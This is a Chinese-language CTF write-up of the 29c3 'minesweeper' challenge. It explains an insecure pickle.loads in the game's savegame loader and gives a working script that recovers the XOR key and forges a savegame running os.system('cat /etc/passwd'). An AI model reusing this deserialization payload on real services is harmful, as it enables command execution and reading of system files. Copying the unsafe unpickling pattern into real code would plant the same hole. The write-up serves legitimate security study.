源码http://shell-storm.org/repo/CTF/29c3/Exploitation/minesweeper/minesweeper.py
参考文章http://www.blue-lotus.net/29c3-ctf-minesweeper/
通过python minesweeper.py启动游戏。用nc localhost 1024 开始玩游戏。
这是一个扫雷游戏,通过o 0:0 开启一个格子,通过s保存进度,通过l data加载数据。
漏洞点是因为加载和保持数据使用了python的pickle模块。
def load(self, data):
self.__dict__ = pickle.loads(data)
def save(self):
return pickle.dumps(self.__dict__, 1)
调用pickle的loads函数时会根据__reduce__函数来创建对象。
该函数返回一个元组,元组包含2到5个元素,第一个元素是一个可调用的对象用来创建对象,第二个元素是一个包含参数的元组作为可调用对象的参数。
# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import os
import pickle
class Exploit(object):
def __reduce__(self):
comm = "cat /etc/passwd"
return (os.system, (comm,))
payload = pickle.dumps(Exploit())
pickle.loads(payload) #执行os.system("cat /etc/passwd")
游戏没这么简单。
elif line[0] in "lL":
m = re_save.match(line)
if m is None:
return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
msg = base64.standard_b64decode(m.group(1))
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
if msg[0:9] != "4n71cH3aT":
return (True, "Unable to load savegame (magic)")
h = hashlib.sha1()
h.update(msg[9+h.digest_size:])
if msg[9:9+h.digest_size] != h.digest():
return (True, "Unable to load savegame (checksum)")
try:
f.load(msg[9+h.digest_size:])
except:
return (True, "Unable to load savegame (exception)")
return (True, "Savegame loaded")
elif len(line) == 1 and line[0] in "sS":
msg = f.save()
h = hashlib.sha1()
h.update(msg)
msg = "4n71cH3aT" + h.digest() + msg
tmp = ""
for i in xrange(0, len(msg)):
tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
return (True, "Your savegame: " + base64.standard_b64encode(msg))
游戏保存进度和加载进度还会对数据进行处理。
加密数据的关键部分是XOR。
msg XOR key=tmp
msg XOR tmp =key
我们并不知道key,但是我们有其他2部分。得到key之后就可以构造payload了。
msg 来源于pickle.dumps(self.__dict__, 1)
self.__dict__
是Field对象的属性。
def __init__(self, w, h, mines):
self.w = w
self.h = h
self.mines = set()
while len(self.mines) < mines:
y = random.randint(0, h - 1)
x = random.randint(0, w - 1)
self.mines.add((y, x))
self.mines = sorted(self.mines)
self.opened = []
self.flagged = []
通过源码我们可以得到大部分属性f = Field(16, 16, 20)
其实可以通过本地搭建环境,打印self.__dict__
就知道里面有什么。
我们不知道的就是雷的位置self.mines
,通关游戏就可以获得。
所以我们已经知道了self.__dict__
,就可以知道msg的值了。
msg 和 tmp都已知可以求得key。
通关脚本,需要填入自己的mines和opened和cipher值。
# -*- coding: UTF-8 -*-
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
class Field:
def __init__(self, w, h, mines):
self.w = w
self.h = h
self.mines = set()
while len(self.mines) < mines:
y = random.randint(0, h - 1)
x = random.randint(0, w - 1)
self.mines.add((y, x))
self.mines = sorted(self.mines)
self.opened = []
self.flagged = []
f = Field(16, 16, 20)
mines = [(0, 4), (1, 11), (2, 3), (2, 11), (3, 1), (3, 2), (3, 3), (5, 6), (5, 10), (5, 11), (6, 7), (8,
14), (9, 5), (10, 10), (11, 14), (12, 0), (12, 12), (13, 5), (13, 13), (14, 0)]
f.mines=mines
opened = [(0, 0), (0, 1), (0, 2), (0, 3), (1, 0), (1, 1), (1, 2), (1, 3), (2, 0), (2, 1), (2, 2)]
f.opened = opened
# print f.__dict__
key=''
cipher='YhOBmQvCYGQ5/oo2flxartigfTjPgvJZIJNDm6WqHQZY3Hf2l7jVN2nalR5hgTpkXg3hxvkad+wSC5gp6X0igqrN4gm50Q1k8aRRKZO8ncabxhVg1lKeCwbzky4Y1RdMyMzTNx3LEg22qnY6lwPlHk6IIOJLwiBE6V3IqXhXBy2+h0whi7niQ5llC8Tzfnyop8PFmvnYp6jfadW7SA9jH1c3zDDVc+oRfQdNQpW3iqvzZ1+69HPVTJUvndGkf5Z8wwQwSb4iZbK94BPz57kpd8tCvAXBVE6+hieTa3r0mkJMEMpUYIryRRN3eLne0WGWh7rg6pURmLiP88Xsr/koSOtogoGnbwm9d9RrdBi7c8UaytzNS/Omywlx0sCF4ecxgcuYD3FvgLNFIB4lGYPGg7Wnpw2zHZhtckjOHxursF2xKjNv82qKeZ6TT4EZ0KWIz3+pXg=='
msg1 = base64.standard_b64decode(cipher)
msg2 = pickle.dumps(f.__dict__,1)
h = hashlib.sha1()
h.update(msg2)
msg2 = "4n71cH3aT" + h.digest() + msg2
# 求 key,用msg 异或加密后的数据
for i in xrange(0,len(msg1)):
key += chr(ord(msg1[i]) ^ ord(msg2[i]))
print key
#构造payload,在游戏中输入l payload
class Exploit(object):
def __reduce__(self):
comm = "cat /etc/passwd"
return (os.system, (comm,))
payload = pickle.dumps(Exploit())
h = hashlib.sha1()
h.update(payload)
msg = "4n71cH3aT" + h.digest() + payload
pp=''
for i in xrange(len(msg)):
pp+=chr(ord(msg[i])^ord(key[i]))
print base64.standard_b64encode(pp)